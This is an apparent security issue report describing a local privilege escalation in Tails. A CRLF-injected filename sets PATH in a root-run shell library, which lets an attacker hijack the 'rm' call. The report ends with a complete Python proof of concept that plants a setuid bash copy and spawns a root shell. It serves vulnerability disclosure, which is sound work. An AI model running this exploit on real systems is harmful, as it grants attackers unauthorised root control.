Core - Local Privilege Escalation (LPE) via CRLF injection in tails-shell-library - Code Execution
This is our side of https://git.radicallyopensecurity.com/ros/pen-tails/-/issues/1
Follows from #19248
Follows, a copy of that issue.
Observation
A low-privileged user amnesia
can execute the python script run-tor-browser-in-netns
as root by using sudo without a password.
sudo -l
-> (root) NOPASSWD: /usr/local/lib/run-tor-browser-in-netns
This script invokes the tor-browser in the user space sandbox by invoking the function run_in_netns
.
local/lib/run-tor-browser-in-netns
#!/usr/bin/env python3
import sys
from tailslib.netnsdrop import run_in_netns
run_in_netns("/usr/bin/tor-browser", *sys.argv[1:], netns="tbb")
The function run_in_netns
runs as root. Therefore the function gnome_env_vars
runs also as root.
tailslib/netnsdrop.py
def run_in_netns(*args, netns, user="amnesia", root="/", bind_mounts=[]):
# ....... #
envcmd = [
"/usr/bin/env", "--",
*gnome_env_vars(),
]
# ....... #
The function gnome_env_vars
executes the gnome_env
function that finally executes the export_gnome_env
function of the shell script /usr/local/lib/tails-shell-library/gnome.sh
. Please note that the shell script function runs as root since no capability drop has been done.
GNOME_SH_PATH = "/usr/local/lib/tails-shell-library/gnome.sh"
def _gnome_sh_wrapper(cmd) -> str:
command = shlex.split(
"env -i sh -c '. {lib} && {cmd}'".format(lib=GNOME_SH_PATH, cmd=cmd)
)
return subprocess.check_output(command).decode()
def gnome_env() -> dict:
env = dict()
for line in _gnome_sh_wrapper("export_gnome_env && env").split("\n"):
#......
def gnome_env_vars() -> list:
return [f"{key}={value}" for key, value in gnome_env().items()]
The export_gnome_env
function invokes the gnome_env
to display some predefined environment variables strings. Afterward, the strings of the environment variables are set to real environment variables by calling the shell export
function. The root cause of the vulnerability lies in the gnome_env
shell function. This function assigns the first filename that starts with the prefix .mutter-Xwaylandauth.
to the environment variable string XAUTHORITY
. However, the privileged user amnesia
can create a file with the prefix that also contains a line break. Since no validation of the low privileged user-controlled values has taken place, an attacker can inject new environment variable strings with a filename like:
touch "/run/user/1000/.mutter-Xwaylandauth.1337
PATH=."
As a result the low-privileged user amnesia
can inject new environment variables to the current root user.
/usr/local/lib/tails-shell-library/gnome.sh
gnome_env() {
local vars
#........ #
if ! echo "${vars}" | grep -E "^XAUTHORITY="; then
for xauth in /run/user/1000/.mutter-Xwaylandauth.*; do
vars="${vars}
XAUTHORITY=${xauth}"
break
done
fi
# ........ #
echo "${vars}"
}
export_gnome_env() {
local tmp_env_file
tmp_env_file="$(mktemp)"
local vars
gnome_env > "${tmp_env_file}"
while read -r line; do
if [ -n "${line}" ]; then
export "${line}"
fi
done < "${tmp_env_file}"
rm "${tmp_env_file}"
}
Exploit
The low-privileged user amnesia (attacker) creates a file with a new line and overwrites the shell internal PATH
environment variable with the current directory. This modified the search path for every executable to the current working dir. As we see above, after the execution of export
shell command, a rm
binary is executed that deletes the temporary file. Since the PATH
is overwritten, the rm
binary is taken from an insecure search path. The attacker drops an rm
shell script that contains the /bin/bash
command. Instead of the rm
command, the /bin/bash
command is now executed as root, leading to a Local Privilege Escalation.
touch "/run/user/1000/.mutter-Xwaylandauth.1337
PATH=."
POC:
import os
# create the payload file to overwrite the PATH variable
with open("/run/user/1000/.mutter-Xwaylandauth.1337\nPATH=.", "w"):
pass
# drop a shell
with open("rm", "w") as fp:
# restore the original root path
fp.write('export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"\n')
# drop a setuid bash
fp.write("/bin/bash -c 'cp -a /bin/bash ./.gadget_bash && chmod u+s .gadget_bash'")
# make rm executable
os.system("chmod +x rm")
# trigger the payload
os.system("sudo /usr/local/lib/run-tor-browser-in-netns > /dev/null 2>&1")
# drop the gadget that changes the euid to uid=0
with open(".gadget_root", "w") as fp:
# drop a shell script that changes the euid to uid=0
# taken from # https://unix.stackexchange.com/questions/645075/attempting-to-get-root-uid-from-root-euid
fp.write("perl -MEnglish -e '$UID = 0; $ENV{PATH} = \"/bin:/usr/bin:/sbin:/usr/sbin\"; exec \"su - root\"'")
# get the root shell
os.system("./.gadget_bash -p -c '. ./.gadget_root'")